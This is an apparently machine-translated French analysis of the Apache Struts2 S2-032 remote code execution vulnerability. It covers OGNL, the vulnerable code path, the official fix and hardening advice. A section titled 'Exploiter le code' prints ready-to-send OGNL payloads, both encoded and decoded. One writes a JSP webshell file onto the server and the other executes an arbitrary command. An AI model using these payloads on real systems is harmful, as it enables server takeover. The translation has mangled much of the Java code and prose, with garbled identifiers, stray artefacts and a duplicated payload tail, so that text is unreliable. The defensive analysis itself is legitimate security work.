Le 26 avril 2016, Apache Struts2 a officiellement publié une autre annonce de sécurité: le service Apache Struts2 peut exécuter à distance toutes les commandes lorsque la méthode d'état est appelée et démarrée. Le numéro officiel est S2-032 et le numéro CVE est CVE-2016-3081. Il s'agit que la vulnérabilité à grande échelle du service a explosé après quatre ans depuis que la vulnérabilité d'exécution de la commande Struts2 a éclaté en 2012. Cette vulnérabilité est également la vulnérabilité de sécurité la plus grave qui a été exposée cette année. Les pirates peuvent utiliser cette vulnérabilité pour effectuer des opérations à distance sur des serveurs d'entreprise, entraînant des menaces de sécurité majeures telles que la fuite de données, l'accusation à distance de l'hôte, la pénétration d'intranet, etc.
Après la vulnérabilité, il s'agissait d'un autre événement collectif pour la sécurité et les entreprises connexes. Les exploiteurs de vulnérabilité utilisaient autant que possible cette vulnérabilité pour montrer leur superbe niveau; Diverses plateformes de tests publics ont publié des sociétés qui ont été prises pour améliorer le rôle de la plate-forme; Les grandes sociétés de sécurité ont également profité pleinement de cette vulnérabilité pour augmenter l'influence de l'entreprise, profiter du marketing, une détection gratuite, une mise à niveau dès que possible, etc. Il reste encore beaucoup de fabricants déprimés, et je n'ai demandé à personne et je me joue avec personne; Ensuite, un grand nombre de membres du personnel de développement et d'opération déprimés doivent mettre à niveau les patchs de vulnérabilité pendant la nuit.
Cependant, le principe des vulnérabilités affecte la protection et d'autres facteurs sont rarement mentionnés. Cet article consiste à avancer vos propres opinions sur les points ci-dessus.
principe
Cette vulnérabilité utilise l'exécution dynamique de Struts2 d'OGNL pour accéder à n'importe quel code Java. En utilisant cette vulnérabilité, vous pouvez analyser les pages Web distantes pour déterminer s'il existe une telle vulnérabilité, puis envoyer des instructions malveillantes, implémenter des téléchargements de fichiers, exécuter des commandes natives et d'autres attaques ultérieures.
OGNL est l'abréviation du langage de navigation graphique objet, et son nom complet est la langue de navigation du graphique d'objet. C'est un langage d'expression puissant. Grâce à une syntaxe simple et cohérente, il peut accéder aux propriétés de l'objet ou appeler les méthodes de l'objet à volonté, et peut traverser l'ensemble du diagramme de structure de l'objet et réaliser la conversion des types d'attribut d'objet et d'autres fonctions.
#,% et $ Les symboles apparaissent souvent dans les expressions OGNL
1. Il y a généralement trois utilisations de symboles #.
Accéder aux propriétés d'objets non racinaires, telles que l'expression # session.msg, puisque la pile médiane de Struts 2 est considérée comme un objet racine, vous devez préfixer lorsque vous accédez à d'autres objets non racinaires; Il est utilisé pour filtrer et projeter (projeter) des ensembles, tels que les personnes. {? # this.age> 25}, les personnes. {? # this.name == 'pla1'}. {age} [0]; Il est utilisé pour construire des cartes, telles que # {'foo1': 'bar1', 'foo2': 'bar2'} dans l'exemple.
2.% Symbole
Le but du symbole% est de calculer la valeur de l'expression OGNL lorsque l'attribut de l'indicateur est un type de chaîne. Ceci est similaire à l'évaluation dans JS et est très violent.
3. Le symbole $ a deux utilisations principales.
Dans le fichier de ressources internationales, reportez-vous aux expressions OGNL, telles que le code dans le fichier de ressources internationales: reg.agerange = Informations de ressources internationales: l'âge doit être entre $ {min} et $ {max}; Reportez-vous aux expressions OGNL dans le fichier de configuration du cadre Struts 2.
Processus d'utilisation du code
1. Demande du client
http: // {wetepip.webapp}: {Portnum} / {vul.action}? Method = {Malcmdstr}
2. La fonction defaultActionProxy de DefaultActionProxy gère les demandes.
Protégé defaultActionProxy (ActionInvocation Inv, String Namespace, String ActionName, String Methodname, Boolean ExecuteResult, boolean cleanupContext) {this.invocation = inv; this.cleanupContext = CleanUpContext; Log.debug ("Création d'un defaultActionProxy pour namespace [{}] et nom d'action [{}]", namespace, actionName); this.ActionName = StringEscapeUtils.escapeHtml4 (ActionName); this.Namespace = namespace; this.executeResult = ExecuteResult; // Les participants peuvent le contourner par le passage variable, le remplissage de syntaxe, l'évasion des caractères et d'autres méthodes. this.method = stringEscapeUtils.escapeecmascript (StringEscapeUtils.escapeHtml4 (méthodyname));}3. Méthode defaultActionMapper Méthode Nom de DefaultActionMapper
String name = key.substring (action_prefix.length ()); if (allowdynamicMethodCalls) {int bang = name.indexof ('!'); if (bang! = -1) {// get Method Name String Methode = CleanUpActionName (name.substring (bang + 1)); mapping.setMethod (méthode); name = name.substring (0, bang); }}4. Appelez la méthode invokeAction de DefaultActionInvocation pour exécuter la méthode passée.
Protected String InVokEAction (Object Action, ActionConfig ActionConfig) lève exception {String MethodName = proxy.getMethod (); Log.debug ("Exécution de la méthode d'action = {}", méthode); String timerKey = "invokeAction:" + proxy.getActionName (); essayez {utilemerStack.push (TIMERKEY); Objet méthodeResult; essayez {// exécuter la méthode méthodeResult = ognlutil.getValue (méthodyname + "()", getStack (). getContext (), action); } catch (méthodefailedException e) {Solution
La solution officielle consiste à ajouter une vérification dans la fonction CleanUpActionName à l'étape 3.
Protégé Pattern autorisé Names = Pattern.Compile ("[A-ZA-Z0-9 ._! /// -] *"); Protected String CleanupActionName (Final String RawActionName) {// Vérifiez, entrez un match régulier du filtre ("[A-ZA-Z0-9 ._! //// -] *"), qui adopte une méthode WhiteList et les seuls caractères limités tels que les lettres supérieures et minuscules et les numéros intime sont autorisés. if (allowingActionNames.matcher (rawActionName) .matches ()) {return RawActionName; } else {if (log.iswarneNabled ()) {log.warn ("Action / Method [# 0] ne correspond pas au modèle des noms d'action autorisés [# 1], le nettoyage!", RawActionName, AutaiteActionsNames); } String CleanCAiCTIONNAME = RawActionName; pour (String Chunk: ALLOTACTIONNAMES.SPLIT (RawActionName)) {CleanActionName = CleanActionName.replace (Chunk, ""); } if (log.isdebugeNabled ()) {log.debug ("Nom de l'action nettoyée / méthode [# 0]", CleanActionName); } return CleanActionName; }}Réparer les suggestions
1. Désactiver les appels de méthode dynamique
Modifiez le fichier de configuration de Struts2 et définissez la valeur de "struts.enable.dynamicMethodInvocation" sur false, par exemple:
<constantename = "strut.enable.damicMethodInvocation" value = "false" />;
2. Améliorer la version logicielle
Améliorer la version Struts vers 2.3.20.2, 2.3.24.2 ou 2.3.28.1
Adresse du correctif: https://struts.apache.org/download.cgi#struts23281
Exploiter le code
1. Téléchargez le fichier:
Méthode:% 23_MemberAccess% [Courriel] [email protected] [/ e-mail] @ default_member_access,% 23Req% 3D% 40org.apache.structs2.ServletActionContext% 40GetRequest (),% 23 Res% 3D% 40org.apache.structs2.ServletActionContext% 40GetResponse (),% 23res.SetcharActerencoding (% 23Parameters.encoding [0]),% 23W% 3D% 23res.getWriter (),% 23Pat H% 3D% 23Req.getRealPath (% 23Parameters.pp [0]), new% 20java.io.BufferedWriter (new% 20java.io.filewriter (% 23Path% 2B% 23Parameters.shellname [0]). eters.shellContent [0])). Close (),% 23w.print (% 23path),% 23w.close (), 1?% 23xx:% 23Request.ToString & shellname = stest.jsp & shellcontent = TTT & Encoding = utf-8 & pp =% 2f
Le code ci-dessus semble un peu gênant, convertissons-le et jetons un coup d'œil.
Méthode: #_ membreAccess = @ ognl.ognlcontext @ default_member_access, # req = @ org.apache.structs2.servletActionContext @ getRequest (), # [email protected]. ervletActionContext @ getResponse (), # res.SetcharAtterencoding (# Parameters.encoding [0]), # w = # res.getwriter (), # path = # req.getRealPath (# paramètres.pp [0]), new java.io.bfferedwriter (nouveau java.io.filewriter (# path + # paramètres.shellname [0]). append (# paramètres.shellContent [0])). Close (), # w.print (#path), # w.close (), 1? #xx: # request.Tostring & shellname = stest.jsp & shellContent = TTT & Encoding = Utf-8 & PP = / ShellContent = TTT & Encoding = Utf-8 & PP = / ShellContent = TTT & ENCODIG
2. Exécuter les commandes locales:
Méthode:% 23_MemberAccess% 3d @ ognl.ognlcontext @ default_member_access,% 23res% 3d% 40org.apache.structs2.servletActionContext% 40getRespo nse (),% 23res.SetcharAtterencoding (% 23Parameters.coding [0]),% 23W% 3d% 23res.getwriter (),% 23s% 3dnew + java.util.scanner (@ java.lang.runr Time @ GetRuntime (). Exec (% 23Parameters.cmd [0]). GetInputStream ()). UsedElimiter (% 23Parameters.pp [0]),% 23STR% 3D% 23.HASNEXT ()% 3f% 23s. suivant ()% 3a% 23Parameters.ppp [0],% 23w.print (% 23Str),% 23w.close (), 1?% 23xx:% 23Request.Tostring & cmd = whoami & pp = // a & pp =% 20 & Encoding = utf-8
Jetons un coup d'œil à la conversion
Méthode: #_ MemberAccess [# Paramètres.Name1 [0]] = true, # _ membre ACCESS [# Paramètres.Name [0]] = TRUE, # _ MemberAccess [# Paramètres.Name2 [0]] = {}, # _ MemberAccess [#ParAmEte Rs.Name3 [0]] = {}, # res = @ org.apache.structs2.servletActionContext @ getResponse (), # res.SetcharAtterencoding (# Parameters.encoding [0]), # w # d # res.getWriter (), # s = new java.util.scanner (@ java.lang.runtime @ getRuntime (). exec (# paramètres.cmd [0]). GetInputStream ()). Usedimiter (# paramètres.pp [0]), # str = # s.hasnext ()? # s.next (): # paramètres.ppp [0], # w.pr int (#str), # w.close (), 1? #xx: # request.toString & name = allowstatingMethodAccess & name1 = allowprivateaccess & name2 = excludPackageNamepatterns & name3 = excludClass & cmd = whoami & pp = // a & pp = & Encoding = utf-8Grâce à l'introduction précédente, j'ai constaté qu'il était relativement facile à comprendre après la conversion.
Comment empêcher
Il existe un principe très important dans la sécurité, qui est le principe des moindres autorisations. Le soi-disant le moins privilège fait référence aux «privilèges qui sont essentiels à chaque principal (utilisateur ou processus) dans le réseau lors de la réalisation d'une certaine opération». Le principe du privilège minimum signifie que "les privilèges minimums que chaque entité du réseau doit être limitée pour garantir que les accidents possibles, les erreurs, la falsification des composants du réseau et d'autres pertes doivent être minimisés".
Par exemple, si les appels de méthode dynamique ne sont pas utilisés dans le système, ils seront supprimés pendant le déploiement, de sorte que même si le patch n'est pas tiré, il ne sera toujours pas utilisé.
L'un des dommages les plus importants de ce système consiste à exécuter des processus locaux, qui peuvent également être désactivés si le système ne fonctionne pas localement.
Jetons un coup d'œil au code qui exécute les commandes locales dans Java Code, ProcessImpl dans ProcessImpl.
ProcessImpl privé (String cmd [], final String Enblock, Final String Path, Final Long [] stdhandles, final boolean redireCterRorstream) lève ioException {String cmdStr; SecurityManager Security = System.getSecurityManager (); booléen permettra les commands de Boolean = false; if (security == null) {allowAmbigufCommands = true; // JDK a spécifié des paramètres pour identifier si les processus locaux peuvent être exécutés. String Value = System.getProperty ("jdk.lang.process.AllowAmbigusCommands"); if (value! = null) perteAmbigusCommands =! "false" .equalSignoreCase (value); } if (allowAmbiguguSCommands) {Lorsque Java démarre, ajoutez le paramètre -djdk.lang.process.AllowAmbigousCommands = false, afin que Java n'exécute pas les processus locaux.
Si vous pouvez désactiver le contenu inutile lorsque le système est déployé, le préjudice de cette vulnérabilité peut être réduit ou éliminé.